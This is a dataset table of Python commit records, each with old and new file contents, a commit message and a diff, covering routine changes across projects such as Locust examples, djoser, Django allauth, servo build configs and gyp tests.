commit stringlengths 40 40 | old_file stringlengths 4 150 | new_file stringlengths 4 150 | old_contents stringlengths 0 3.26k | new_contents stringlengths 1 4.43k | subject stringlengths 15 501 | message stringlengths 15 4.06k | lang stringclasses 4
values | license stringclasses 13
values | repos stringlengths 5 91.5k | diff stringlengths 0 4.35k |
|---|---|---|---|---|---|---|---|---|---|---|
5977eb82f2614efe8cde843913db62a93c7978f5 | navigation_extensions.py | navigation_extensions.py | from django.utils.text import capfirst
from django.utils.translation import ugettext_lazy as _
from feincms.module.page.extensions.navigation import NavigationExtension, PagePretender
class ZivinetzNavigationExtension(NavigationExtension):
name = _('Zivinetz navigation extension')
def children(self, page, *... | from django.utils.text import capfirst
from django.utils.translation import ugettext_lazy as _
from feincms.module.page.extensions.navigation import NavigationExtension, PagePretender
class ZivinetzNavigationExtension(NavigationExtension):
name = _('Zivinetz navigation extension')
def children(self, page, *... | Remove job references from navigation | Remove job references from navigation
| Python | mit | matthiask/zivinetz,matthiask/zivinetz,matthiask/zivinetz,matthiask/zivinetz | ---
+++
@@ -16,7 +16,6 @@
(_('waitlist'), 'admin/waitlist/'),
(_('drudges'), 'admin/drudges/'),
(_('assignments'), 'admin/assignments/'),
- (_('job references'), 'admin/jobreferences/'),
(_('expense reports'), 'admin/expense_reports/')... |
593bab981f36f7af52ae55914c18e368e8c1a94f | examples/app-on-ws-init.py | examples/app-on-ws-init.py | #!/usr/bin/env python3
# https://faq.i3wm.org/question/3699/how-can-i-open-an-application-when-i-open-a-certain-workspace-for-the-first-time/
from argparse import ArgumentParser
import i3ipc
i3 = i3ipc.Connection()
parser = ArgumentParser(description='Open an application on a given workspace when it is initialized'... | #!/usr/bin/env python3
# https://faq.i3wm.org/question/3699/how-can-i-open-an-application-when-i-open-a-certain-workspace-for-the-first-time/
from argparse import ArgumentParser
import i3ipc
i3 = i3ipc.Connection()
parser = ArgumentParser(description="""Open the given application each time the
given workspace i... | Make the 2 mandatory parameters mandatory. Make the help message a bit clearer and provides an example. | Make the 2 mandatory parameters mandatory.
Make the help message a bit clearer and provides an example.
| Python | bsd-3-clause | xenomachina/i3ipc-python,nicoe/i3ipc-python,acrisci/i3ipc-python,chrsclmn/i3ipc-python | ---
+++
@@ -7,10 +7,14 @@
i3 = i3ipc.Connection()
-parser = ArgumentParser(description='Open an application on a given workspace when it is initialized')
+parser = ArgumentParser(description="""Open the given application each time the
+ given workspace is created. For instance, running 'app-on-ws-init.py 6
+... |
23f23884cb55899a77b08dfa8c1649a195815f8c | examples/semaphore_wait.py | examples/semaphore_wait.py | from locust import HttpLocust, TaskSet, task, events, between
from gevent.lock import Semaphore
all_locusts_spawned = Semaphore()
all_locusts_spawned.acquire()
def on_hatch_complete(**kw):
all_locusts_spawned.release()
events.hatch_complete += on_hatch_complete
class UserTasks(TaskSet):
def on_start(self):... | from locust import HttpLocust, TaskSet, task, events, between
from gevent.lock import Semaphore
all_locusts_spawned = Semaphore()
all_locusts_spawned.acquire()
@events.init.add_listener
def _(environment, **kw):
@environment.events.hatch_complete.add_listener
def on_hatch_complete(**kw):
all_locusts_... | Update example to use new event API | Update example to use new event API | Python | mit | locustio/locust,locustio/locust,locustio/locust,mbeacom/locust,mbeacom/locust,mbeacom/locust,locustio/locust,mbeacom/locust | ---
+++
@@ -5,10 +5,11 @@
all_locusts_spawned = Semaphore()
all_locusts_spawned.acquire()
-def on_hatch_complete(**kw):
- all_locusts_spawned.release()
-
-events.hatch_complete += on_hatch_complete
+@events.init.add_listener
+def _(environment, **kw):
+ @environment.events.hatch_complete.add_listener
+ d... |
4ebdc10add211cb238002fcc79a7cf8409d99825 | djoser/social/views.py | djoser/social/views.py | from rest_framework import generics, permissions, status
from rest_framework.response import Response
from social_django.utils import load_backend, load_strategy
from djoser.conf import settings
from djoser.social.serializers import ProviderAuthSerializer
class ProviderAuthView(generics.CreateAPIView):
permissio... | from rest_framework import generics, permissions, status
from rest_framework.response import Response
from social_django.utils import load_backend, load_strategy
from djoser.conf import settings
from djoser.social.serializers import ProviderAuthSerializer
class ProviderAuthView(generics.CreateAPIView):
permissio... | Fix for Friendly tips when Missing SOCIAL_AUTH_ALLOWED_REDIRECT_URIS | Fix for Friendly tips when Missing SOCIAL_AUTH_ALLOWED_REDIRECT_URIS
i forget add SOCIAL_AUTH_ALLOWED_REDIRECT_URIS to my config
it return 400 error, i don't know why , i pay more time find the issues
so i add Friendly tips
-- sorry , my english is not well
and thank you all | Python | mit | sunscrapers/djoser,sunscrapers/djoser,sunscrapers/djoser | ---
+++
@@ -13,7 +13,7 @@
def get(self, request, *args, **kwargs):
redirect_uri = request.GET.get("redirect_uri")
if redirect_uri not in settings.SOCIAL_AUTH_ALLOWED_REDIRECT_URIS:
- return Response(status=status.HTTP_400_BAD_REQUEST)
+ return Response("Missing SOCIAL_AUTH... |
745565adaff36e95676c427157acb52112e0a3cc | sitenco/config/vcs.py | sitenco/config/vcs.py | """
Version control management tools.
"""
import abc
import brigit
from docutils import nodes
from docutils.parsers.rst import directives
from .tool import Tool, Directive
class VCS(Tool):
"""Abstract class for VCS tools."""
__metaclass__ = abc.ABCMeta
def __init__(self, path, branch, url=None):
... | """
Version control management tools.
"""
import abc
import brigit
from docutils import nodes
from docutils.parsers.rst import directives
from .tool import Tool, Directive
class VCS(Tool):
"""Abstract class for VCS tools."""
__metaclass__ = abc.ABCMeta
def __init__(self, path, branch, url=None):
... | Clone git repos if they do not exist. | Clone git repos if they do not exist.
| Python | bsd-3-clause | Kozea/sitenco | ---
+++
@@ -18,6 +18,7 @@
def __init__(self, path, branch, url=None):
self.path = path
self.branch = branch
+ self.url = url
super(VCS, self).__init__()
@abc.abstractmethod
@@ -29,8 +30,8 @@
class Git(VCS):
"""Git tool."""
def __init__(self, path, branch='maste... |
676c2a67877c32ad8845f374955ac07fdfbab561 | domain_models/fields.py | domain_models/fields.py | """Domain models fields."""
class Field(property):
"""Base field."""
def __init__(self):
"""Initializer."""
self.name = None
self.value = None
self.model = None
super(Field, self).__init__(self._get, self._set)
def _get(self, _):
"""Return field's value.""... | """Domain models fields."""
import six
class Field(property):
"""Base field."""
def __init__(self):
"""Initializer."""
self.name = None
self.value = None
self.model = None
super(Field, self).__init__(self._get, self._set)
def _get(self, _):
"""Return fiel... | Fix Unicode field in Python 3.2 | Fix Unicode field in Python 3.2
| Python | bsd-3-clause | ets-labs/domain_models,rmk135/domain_models,ets-labs/python-domain-models | ---
+++
@@ -1,4 +1,6 @@
"""Domain models fields."""
+
+import six
class Field(property):
@@ -41,4 +43,4 @@
def _set(self, _, value):
"""Set field's value."""
- self.value = unicode(value)
+ self.value = six.u(value) |
bb4a67d2817ccca3b15e09db1d72823626bd2ed6 | glitter/publisher/admin.py | glitter/publisher/admin.py | from __future__ import unicode_literals
from django import forms
from django.contrib.contenttypes.admin import GenericStackedInline
from .forms import object_version_choices
from .models import PublishAction
class ActionInline(GenericStackedInline):
model = PublishAction
fields = ('scheduled_time', 'publish... | from __future__ import unicode_literals
from django import forms
from django.contrib.contenttypes.admin import GenericStackedInline
from .forms import object_version_choices
from .models import PublishAction
class ActionInline(GenericStackedInline):
model = PublishAction
fields = ('scheduled_time', 'publish... | Rework the versions form widget | Rework the versions form widget
| Python | bsd-3-clause | developersociety/django-glitter,blancltd/django-glitter,blancltd/django-glitter,developersociety/django-glitter,blancltd/django-glitter,developersociety/django-glitter | ---
+++
@@ -13,21 +13,7 @@
extra = 0
def get_formset(self, request, obj=None, form=None, **kwargs):
- class VersionForm(forms.ModelForm):
- """
- Customised form which limits the users choices to versions which have been saved for
- this object.
- """
- ... |
51757c8a893640e2a9fa3a7b9f8e617b22e6db87 | test/test_api.py | test/test_api.py | import unittest
import appdirs
class Test_AppDir(unittest.TestCase):
def test_metadata(self):
self.assertTrue(hasattr(appdirs, "__version__"))
self.assertTrue(hasattr(appdirs, "__version_info__"))
def test_helpers(self):
self.assertTrue(isinstance(
appdirs.user_data_dir('My... | import unittest
import appdirs
class Test_AppDir(unittest.TestCase):
def test_metadata(self):
self.assertTrue(hasattr(appdirs, "__version__"))
self.assertTrue(hasattr(appdirs, "__version_info__"))
def test_helpers(self):
self.assertIsInstance(
appdirs.user_data_dir('MyApp',... | Use assertIsInstance() instead of assertTrue(isinstance()). | Use assertIsInstance() instead of assertTrue(isinstance()).
| Python | mit | platformdirs/platformdirs | ---
+++
@@ -7,21 +7,21 @@
self.assertTrue(hasattr(appdirs, "__version_info__"))
def test_helpers(self):
- self.assertTrue(isinstance(
- appdirs.user_data_dir('MyApp', 'MyCompany'), str))
- self.assertTrue(isinstance(
- appdirs.site_data_dir('MyApp', 'MyCompany'), st... |
b5047a36ffec7515986e92346a17657247319e6e | webapp/config/env/development_admin.py | webapp/config/env/development_admin.py | from datetime import timedelta
from pathlib import Path
DEBUG = True
PERMANENT_SESSION_LIFETIME = timedelta(14)
SECRET_KEY = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
SESSION_COOKIE_SECURE = True
LOCALE = 'de_DE.UTF-8'
LOCALES_FORMS = ['de']
SQLALCHEMY_DATAB... | from datetime import timedelta
from pathlib import Path
DEBUG = True
PERMANENT_SESSION_LIFETIME = timedelta(14)
SECRET_KEY = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
SESSION_COOKIE_SECURE = False
LOCALE = 'de_DE.UTF-8'
LOCALES_FORMS = ['de']
SQLALCHEMY_DATA... | Disable secure cookies for admin development. | Disable secure cookies for admin development.
| Python | bsd-3-clause | homeworkprod/byceps,m-ober/byceps,homeworkprod/byceps,m-ober/byceps,m-ober/byceps,homeworkprod/byceps | ---
+++
@@ -5,7 +5,7 @@
DEBUG = True
PERMANENT_SESSION_LIFETIME = timedelta(14)
SECRET_KEY = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
-SESSION_COOKIE_SECURE = True
+SESSION_COOKIE_SECURE = False
LOCALE = 'de_DE.UTF-8'
LOCALES_FORMS = ['de'] |
537655c2c60522d5776fbd9c35cead4dc766806b | example/example/urls.py | example/example/urls.py | from django.conf.urls import include, url
from django.contrib import admin
from django.views.generic.base import TemplateView
admin.autodiscover()
urlpatterns = [
url(r'^accounts/', include('allauth.urls')),
url(r'^$', TemplateView.as_view(template_name='index.html')),
url(r'^accounts/profile/$', TemplateV... | from django.conf.urls import include, url
from django.contrib import admin
from django.views.generic.base import TemplateView
admin.autodiscover()
urlpatterns = [
url(r'^accounts/', include('allauth.urls')),
url(r'^$', TemplateView.as_view(template_name='index.html')),
url(r'^accounts/profile/$', TemplateV... | Fix example urlconf to be compatible with Django 2.0 | fix(example): Fix example urlconf to be compatible with Django 2.0
| Python | mit | AltSchool/django-allauth,rsalmaso/django-allauth,pennersr/django-allauth,pztrick/django-allauth,bittner/django-allauth,AltSchool/django-allauth,pztrick/django-allauth,pennersr/django-allauth,rsalmaso/django-allauth,rsalmaso/django-allauth,lukeburden/django-allauth,pennersr/django-allauth,lukeburden/django-allauth,pztri... | ---
+++
@@ -7,5 +7,5 @@
url(r'^accounts/', include('allauth.urls')),
url(r'^$', TemplateView.as_view(template_name='index.html')),
url(r'^accounts/profile/$', TemplateView.as_view(template_name='profile.html')),
- url(r'^admin/', include(admin.site.urls)),
+ url(r'^admin/', admin.site.urls),
] |
23c9aeb707f6bc0b6948dffb03bd7c960b7e97a8 | tests/test_vector2_reflect.py | tests/test_vector2_reflect.py | from ppb_vector import Vector2
import pytest
from hypothesis import given, assume, note
from math import isclose, isinf
from utils import units, vectors
reflect_data = (
(Vector2(1, 1), Vector2(0, -1), Vector2(1, -1)),
(Vector2(1, 1), Vector2(-1, 0), Vector2(-1, 1)),
(Vector2(0, 1), Vector2(0, -1), Vector... | from ppb_vector import Vector2
import pytest
from hypothesis import given, assume, note
from math import isclose, isinf
from utils import angle_isclose, units, vectors
reflect_data = (
(Vector2(1, 1), Vector2(0, -1), Vector2(1, -1)),
(Vector2(1, 1), Vector2(-1, 0), Vector2(-1, 1)),
(Vector2(0, 1), Vector2... | Add a property tying reflect() and angle() | test_reflect_prop: Add a property tying reflect() and angle()
| Python | artistic-2.0 | ppb/ppb-vector,ppb/ppb-vector | ---
+++
@@ -2,7 +2,7 @@
import pytest
from hypothesis import given, assume, note
from math import isclose, isinf
-from utils import units, vectors
+from utils import angle_isclose, units, vectors
reflect_data = (
@@ -28,3 +28,6 @@
assert not any(map(isinf, reflected))
assert initial.isclose(returned... |
53239498023a2ebe6d25a99d09430046b3b40e83 | rtrss/database.py | rtrss/database.py | import logging
from contextlib import contextmanager
from sqlalchemy import create_engine
from sqlalchemy.orm import sessionmaker
from sqlalchemy.exc import SQLAlchemyError
from rtrss.exceptions import OperationInterruptedException
from rtrss import config
_logger = logging.getLogger(__name__)
engine = create_engine(... | import logging
from contextlib import contextmanager
from sqlalchemy import create_engine
from sqlalchemy.orm import sessionmaker
from sqlalchemy.exc import SQLAlchemyError
from rtrss.exceptions import OperationInterruptedException
from rtrss import config
_logger = logging.getLogger(__name__)
engine = create_engine(... | Fix init_db and clear_db functions | Fix init_db and clear_db functions
| Python | apache-2.0 | notapresent/rtrss,notapresent/rtrss,notapresent/rtrss,notapresent/rtrss | ---
+++
@@ -31,13 +31,21 @@
session.close()
-def init_db():
+def init_db(eng=None):
_logger.info('Initializing database')
+
+ if eng is None:
+ eng = engine
+
from rtrss.models import Base
- Base.metadata.create_all(bind=engine)
+ Base.metadata.create_all(bind=eng)
-def clea... |
37c33a4a133326cce7083ea68607971344f0e6ed | rules/binutils.py | rules/binutils.py | import xyz
import os
import shutil
class Binutils(xyz.BuildProtocol):
pkg_name = 'binutils'
supported_targets = ['arm-none-eabi']
def check(self, builder):
if builder.target not in self.supported_targets:
raise xyz.UsageError("Invalid target ({}) for {}".format(builder.target, self.pkg... | import xyz
import os
import shutil
class Binutils(xyz.BuildProtocol):
pkg_name = 'binutils'
supported_targets = ['arm-none-eabi']
def check(self, builder):
if builder.target not in self.supported_targets:
raise xyz.UsageError("Invalid target ({}) for {}".format(builder.target, self.pkg... | Remove info dirs (for now) | Remove info dirs (for now)
| Python | mit | BreakawayConsulting/xyz | ---
+++
@@ -25,5 +25,10 @@
man_dir = builder.j('{install_dir}', config['prefix'][1:], 'share', 'man', config=config)
shutil.rmtree(man_dir)
+ # For now we strip the info pages too.
+ # Different versino of texinfo product different output!
+ info_dir = builder.j('{install_dir}... |
86f8ccedae6bf671a88aa342cf993bab55057406 | api/models.py | api/models.py | class MessageModel:
def __init__(self, message, duration, creation_date, message_category):
# We will automatically generate the new id
self.id = 0
self.message = message
self.duration = duration
self.creation_date = creation_date
self.message_category = message_categ... | class AccountModel:
def __init__(self, account_type, account_number, name, first_name, address, birthdate):
# We will automatically generate the new id
self.id = 0
self.type = account_type
self.number = account_number
self.name = name
self.first_name = first_name
... | Remove message model as unused | Remove message model as unused
No need in test class as soon as we have working api | Python | mit | candidate48661/BEA | ---
+++
@@ -1,15 +1,3 @@
-class MessageModel:
- def __init__(self, message, duration, creation_date, message_category):
- # We will automatically generate the new id
- self.id = 0
- self.message = message
- self.duration = duration
- self.creation_date = creation_date
- se... |
5490939f5b94b15c154e027abcd295f14ac17a45 | src/config/site_utils.py | src/config/site_utils.py | from django.contrib.sites.models import Site
def set_site_info(domain='datahub-local.mit.edu', name='MIT DataHub'):
site = Site.objects.get_current()
if site.domain != domain:
site.domain = domain
site.name = name
site.save()
| from django.contrib.sites.models import Site
from django.db.utils import ProgrammingError
def set_site_info(domain='datahub-local.mit.edu', name='MIT DataHub'):
try:
site = Site.objects.get_current()
if site.domain != domain:
site.domain = domain
site.name = name
... | Make sure initial migration works for new installs. | Make sure initial migration works for new installs.
Bootstrapping the Site model entirely in settings isn't great.
| Python | mit | datahuborg/datahub,datahuborg/datahub,anantb/datahub,RogerTangos/datahub-stub,anantb/datahub,RogerTangos/datahub-stub,datahuborg/datahub,anantb/datahub,RogerTangos/datahub-stub,RogerTangos/datahub-stub,RogerTangos/datahub-stub,datahuborg/datahub,datahuborg/datahub,anantb/datahub,anantb/datahub,RogerTangos/datahub-stub,... | ---
+++
@@ -1,9 +1,13 @@
from django.contrib.sites.models import Site
+from django.db.utils import ProgrammingError
def set_site_info(domain='datahub-local.mit.edu', name='MIT DataHub'):
- site = Site.objects.get_current()
- if site.domain != domain:
- site.domain = domain
- site.name = name... |
1b3ec35857a8eff88b8984c83564e18a25ff081e | app/routes.py | app/routes.py | from flask import request, jsonify, session, g
import numpy as np
from DatasetCreation import ConstructDataset
from . import app
from . import firebase
from sklearn.ensemble import RandomForestClassifier
from sklearn import preprocessing
from sklearn.cross_validation import cross_val_score
@app.route("/", methods=[... | from flask import jsonify
from . import app
from . import firebase
@app.route("/", methods=["GET"])
def index():
response = firebase.get("/", None)
response = response or {}
return jsonify(response)
| Remove commented code and unused imports | Remove commented code and unused imports
| Python | mit | MachineLearningProject/flight-delay-prediction,MachineLearningProject/flight-delay-prediction,MachineLearningProject/flight-delay-prediction | ---
+++
@@ -1,13 +1,7 @@
-from flask import request, jsonify, session, g
-import numpy as np
-from DatasetCreation import ConstructDataset
+from flask import jsonify
from . import app
from . import firebase
-
-from sklearn.ensemble import RandomForestClassifier
-from sklearn import preprocessing
-from sklearn.cro... |
37bcc2ffcdf17108d381842ff4b2427a52bbae52 | bld/linux.py | bld/linux.py | config = {
'mock_target': 'mozilla-centos6-x86_64',
'mock_packages': ['freetype-devel', 'fontconfig-devel', 'glib2-devel', 'autoconf213', 'git', 'make', 'libX11-devel', 'mesa-libGL-devel', 'freeglut-devel',
'xorg-x11-server-devel', 'libXrandr-devel', 'libXi-devel', 'libpng-devel', 'expat-d... | config = {
'mock_target': 'mozilla-centos6-x86_64',
'mock_packages': ['freetype-devel', 'fontconfig-devel', 'glib2-devel', 'autoconf213', 'git', 'make', 'libX11-devel', 'mesa-libGL-devel', 'freeglut-devel',
'xorg-x11-server-devel', 'libXrandr-devel', 'libXi-devel', 'libpng-devel', 'expat-d... | Install gperf on Linux builders | Install gperf on Linux builders
| Python | mpl-2.0 | SimonSapin/servo,huonw/servo,jdramani/servo,saratang/servo,luniv/servo,paulrouget/servo,dati91/servo,tafia/servo,cbrewster/servo,tschneidereit/servo,wartman4404/servo,kindersung/servo,mbrubeck/servo,juzer10/servo,mrobinson/servo,akosel/servo,rentongzhang/servo,peterjoel/servo,mrobinson/servo,froydnj/servo,youprofit/ser... | ---
+++
@@ -1,7 +1,7 @@
config = {
'mock_target': 'mozilla-centos6-x86_64',
'mock_packages': ['freetype-devel', 'fontconfig-devel', 'glib2-devel', 'autoconf213', 'git', 'make', 'libX11-devel', 'mesa-libGL-devel', 'freeglut-devel',
- 'xorg-x11-server-devel', 'libXrandr-devel', 'libXi-de... |
3e105facfb6983a10727ae40e6c239d825460b13 | demo/IDL/config.py | demo/IDL/config.py | # Config file for IDL demos
# The IDLs all have comments in //. style
from Synopsis.Config import Base
class Config (Base):
class Parser:
class IDL (Base.Parser.IDL):
include_path = ['.']
modules = {
'IDL':IDL,
}
class Linker:
class Linker (Base.Linker.Linker):
comment_processors = ['... | # Config file for IDL demos
# The IDLs all have comments in //. style
from Synopsis.Config import Base
class Config (Base):
class Parser:
class IDL (Base.Parser.IDL):
include_path = ['.']
modules = {
'IDL':IDL,
}
class Linker:
class Linker (Base.Linker.Linker):
comment_processors = ['... | Remove __init__ since dont need to force style anymore | Remove __init__ since dont need to force style anymore
| Python | lgpl-2.1 | stefanseefeld/synopsis,stefanseefeld/synopsis,stefanseefeld/synopsis,stefanseefeld/synopsis,stefanseefeld/synopsis,stefanseefeld/synopsis | ---
+++
@@ -21,10 +21,6 @@
class Formatter:
class HTML (Base.Formatter.HTML):
stylesheet_file = '../html.css'
- def __init__(self, argv):
- "force style to be synopsis"
- argv['style'] = 'synopsis'
- Base.Formatter.HTML.__init__(self, argv)
modules = Base.Formatter.modules
modules['HTML'] = HT... |
8c704a01aa935f8fea1cb88683853dffa0ee5464 | src/estimate_probs.py | src/estimate_probs.py | # from the __future__ package, import division
# to allow float division
from __future__ import division
def estimate_probs(trigram_counts_dict):
'''
# Estimates probabilities of trigrams using
# trigram_counts_dict and returns a new dictionary
# with the probabilities.
'''
trigram_probs_dict ... | #! /usr/bin/python2
# from the __future__ package, import division
# to allow float division
from __future__ import division
def estimate_probs(trigram_counts_dict):
'''
# Estimates probabilities of trigrams using
# trigram_counts_dict and returns a new dictionary
# with the probabilities.
'''
... | Make sure we use python2 | Make sure we use python2
| Python | unlicense | jvasilakes/language_detector,jvasilakes/language_detector | ---
+++
@@ -1,3 +1,5 @@
+#! /usr/bin/python2
+
# from the __future__ package, import division
# to allow float division
|
af14c06b0a8443f28d92c6eee884d125b2504b00 | examples/loader_spin.py | examples/loader_spin.py | # -*- coding: utf-8 -*-
"""Example for spinner that looks like loader
"""
from __future__ import unicode_literals, absolute_import, print_function
import os
import time
import random
os.sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
from halo import Halo
spinner = Halo(text='Downloading... | # -*- coding: utf-8 -*-
"""Example for spinner that looks like loader
"""
from __future__ import unicode_literals, absolute_import, print_function
import os
import time
import random
os.sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
from halo import Halo
spinner = Halo(text='Downloading... | Fix xrange to range for supporting python3 | Fix xrange to range for supporting python3
| Python | mit | manrajgrover/halo,ManrajGrover/halo | ---
+++
@@ -14,7 +14,7 @@
try:
spinner.start()
- for i in xrange(100):
+ for i in range(100):
spinner.text = '{0}% Downloaded dataset.zip'.format(i)
time.sleep(random.random())
spinner.succeed('Downloaded dataset.zip') |
7fc4a8d2a12100bae9b2ddb5c0b08fbfd94091f2 | dataproperty/_container.py | dataproperty/_container.py | # encoding: utf-8
'''
@author: Tsuyoshi Hombashi
'''
class MinMaxContainer(object):
@property
def min_value(self):
return self.__min_value
@property
def max_value(self):
return self.__max_value
def __init__(self, value_list=[]):
self.__min_value = None
self.__ma... | # encoding: utf-8
'''
@author: Tsuyoshi Hombashi
'''
class MinMaxContainer(object):
@property
def min_value(self):
return self.__min_value
@property
def max_value(self):
return self.__max_value
def __init__(self, value_list=[]):
self.__min_value = None
self.__ma... | Add __eq__, __ne__, __contains__ methods | Add __eq__, __ne__, __contains__ methods
| Python | mit | thombashi/DataProperty | ---
+++
@@ -21,6 +21,21 @@
for value in value_list:
self.update(value)
+
+ def __eq__(self, other):
+ return all([
+ self.min_value == other.min_value,
+ self.max_value == other.max_value,
+ ])
+
+ def __ne__(self, other):
+ return any([
+ ... |
7fdea303be0c3f182d0e99719c89975294112975 | test/test_basic.py | test/test_basic.py | #!/usr/bin/env python
# vim: set ts=4 sw=4 et sts=4 ai:
#
# Test some basic functionality.
#
import unittest
import os
import sys
sys.path.append('..')
class TestQBasic(unittest.TestCase):
def setUp(self):
if os.path.exists('/tmp/q'):
os.remove('/tmp/q')
def tearDown(self):
self... | #!/usr/bin/env python
# vim: set ts=4 sw=4 et sts=4 ai:
#
# Test some basic functionality.
#
import unittest
import os
import sys
qpath = os.path.abspath(os.path.join(os.path.split(__file__)[0],'..'))
sys.path.insert(0, qpath)
class TestQBasic(unittest.TestCase):
def setUp(self):
if os.path.exists('/tm... | Make test call location independent. | Make test call location independent.
| Python | apache-2.0 | zestyping/q | ---
+++
@@ -7,7 +7,9 @@
import unittest
import os
import sys
-sys.path.append('..')
+
+qpath = os.path.abspath(os.path.join(os.path.split(__file__)[0],'..'))
+sys.path.insert(0, qpath)
class TestQBasic(unittest.TestCase): |
2ee34d2d74a8fb41dfe49cd3933d0d7abb25fee4 | rsvp/admin.py | rsvp/admin.py | from django.contrib import admin
from rsvp.models import Guest, Location, Table, Event, Hotel, Party, Song
class AdminModel(admin.ModelAdmin):
list_display = ['name']
class GuestAdmin(admin.ModelAdmin):
list_display = ['last_name', 'first_name']
list_filter = ['last_name', 'first_name']
search_fields = ['last_nam... | from django.contrib import admin
from rsvp.models import Guest, Location, Table, Event, Hotel, Party, Song
class AdminModel(admin.ModelAdmin):
list_display = ['name']
class GuestAdmin(admin.ModelAdmin):
list_display = ['last_name', 'first_name', 'attending', ]
list_filter = ['last_name', 'first_name']
search_fiel... | Add attending as column to Guest | Add attending as column to Guest
| Python | mit | gboone/wedding.harmsboone.org,gboone/wedding.harmsboone.org | ---
+++
@@ -5,7 +5,7 @@
list_display = ['name']
class GuestAdmin(admin.ModelAdmin):
- list_display = ['last_name', 'first_name']
+ list_display = ['last_name', 'first_name', 'attending', ]
list_filter = ['last_name', 'first_name']
search_fields = ['last_name', 'first_name', ]
save_on_top = True |
181ac9d91d826b1c1a71ec14ff8f500cb79261d2 | Code/Evaluator.py | Code/Evaluator.py | import subprocess
ENGINE_BIN = "stockfish"
DEPTH = 20
def evaluate_position(board, depth=DEPTH):
"""Evaluates the board's current position.
Returns the Stockfish scalar score, at the given depth, in centipawns.
"""
engine = subprocess.Popen(ENGINE_BIN, bufsize=0, universal_newlines=True,
... | import subprocess
import re
ENGINE_BIN = "stockfish"
DEPTH = 20
def evaluate_position(board, depth=DEPTH):
"""Evaluates the board's current position.
Returns the Stockfish scalar score, at the given depth, in centipawns.
"""
engine = subprocess.Popen(ENGINE_BIN, bufsize=0, universal_newlines=True,
... | Correct UCI parsing in board state evaluation function | Correct UCI parsing in board state evaluation function
| Python | mit | Bojanovski/ChessANN | ---
+++
@@ -1,4 +1,5 @@
import subprocess
+import re
ENGINE_BIN = "stockfish"
DEPTH = 20
@@ -19,17 +20,15 @@
engine.stdin.write("position fen "+board.fen()+"\n")
engine.stdin.write("go depth "+str(DEPTH)+"\n")
- last_line = ""
while True:
line = engine.stdout.readline().strip()
- ... |
cda417454578cb8efe315850b06b047239c7796d | Commands/Leave.py | Commands/Leave.py | # -*- coding: utf-8 -*-
"""
Created on Dec 20, 2011
@author: Tyranic-Moron
"""
from IRCMessage import IRCMessage
from IRCResponse import IRCResponse, ResponseType
from CommandInterface import CommandInterface
import GlobalVars
class Leave(CommandInterface):
triggers = ['leave', 'gtfo']
help = "leave/gtfo - ... | # -*- coding: utf-8 -*-
"""
Created on Dec 20, 2011
@author: Tyranic-Moron
"""
from IRCMessage import IRCMessage
from IRCResponse import IRCResponse, ResponseType
from CommandInterface import CommandInterface
import GlobalVars
class Leave(CommandInterface):
triggers = ['leave', 'gtfo']
help = "leave/gtfo - ... | Update % to .format, add response to gtfo command | Update % to .format, add response to gtfo command | Python | mit | MatthewCox/PyMoronBot,DesertBot/DesertBot | ---
+++
@@ -20,9 +20,12 @@
@type message: IRCMessage
"""
if message.User.Name not in GlobalVars.admins:
- return IRCResponse(ResponseType.Say, 'Only my admins can tell me to %s' % message.Command, message.ReplyTo)
+ if message.Command == triggers[1]:
+ r... |
e5ed3e877e24d943096fa5e48c1f8c9bc30c3160 | flask_annex/__init__.py | flask_annex/__init__.py | from .base import AnnexBase
__all__ = ('Annex',)
# -----------------------------------------------------------------------------
def get_annex_class(storage):
if storage == 'file':
from .file import FileAnnex
return FileAnnex
else:
raise ValueError("unsupported storage {}".format(sto... | from .base import AnnexBase
from . import utils
__all__ = ('Annex',)
# -----------------------------------------------------------------------------
def get_annex_class(storage):
if storage == 'file':
from .file import FileAnnex
return FileAnnex
else:
raise ValueError("unsupported st... | Use storage sub-namespace for generic annex | Use storage sub-namespace for generic annex
| Python | mit | 4Catalyzer/flask-annex,taion/flask-annex | ---
+++
@@ -1,4 +1,5 @@
from .base import AnnexBase
+from . import utils
__all__ = ('Annex',)
@@ -24,6 +25,17 @@
# attributes when using the generic annex.
self._impl = annex_class(**kwargs)
+ @classmethod
+ def from_env(cls, namespace):
+ storage = utils.get_config_from_env(nam... |
f3c7504cf3c7982e295883ccf5448e19c1ba2814 | pygraphc/anomaly/SentimentAnalysis.py | pygraphc/anomaly/SentimentAnalysis.py | from textblob import TextBlob
class SentimentAnalysis(object):
"""Get sentiment analysis with only positive and negative considered.
Positive means normal logs and negative sentiment refers to possible attacks.
This class uses sentiment analysis feature from the TextBlob library [Loria2016]_.
Refere... | from textblob import TextBlob
class SentimentAnalysis(object):
"""Get sentiment analysis with only positive and negative considered.
Positive means normal logs and negative sentiment refers to possible attacks.
This class uses sentiment analysis feature from the TextBlob library [Loria2016]_.
Refere... | Edit get_sentiment and add get_normalized_sentiment | Edit get_sentiment and add get_normalized_sentiment
| Python | mit | studiawan/pygraphc | ---
+++
@@ -13,22 +13,42 @@
part-of-speech tagging, noun phrase extraction, translation, and more.
https://github.com/sloria/TextBlob/
"""
- def __init__(self, log_message):
- self.log_message = log_message
+ def __init__(self, cluster_message):
+ self.... |
3c93685eec3f6f293c3843d5c47b556426d4007e | test/settings/gyptest-settings.py | test/settings/gyptest-settings.py | #!/usr/bin/env python
# Copyright (c) 2011 Google Inc. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""
Smoke-tests 'settings' blocks.
"""
import TestGyp
test = TestGyp.TestGyp()
test.run_gyp('settings.gyp')
test.build('test.gyp', test.AL... | #!/usr/bin/env python
# Copyright (c) 2011 Google Inc. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""
Smoke-tests 'settings' blocks.
"""
import TestGyp
# 'settings' is only supported for make and scons (and will be removed there as
# we... | Make new settings test not run for xcode generator. | Make new settings test not run for xcode generator.
TBR=evan
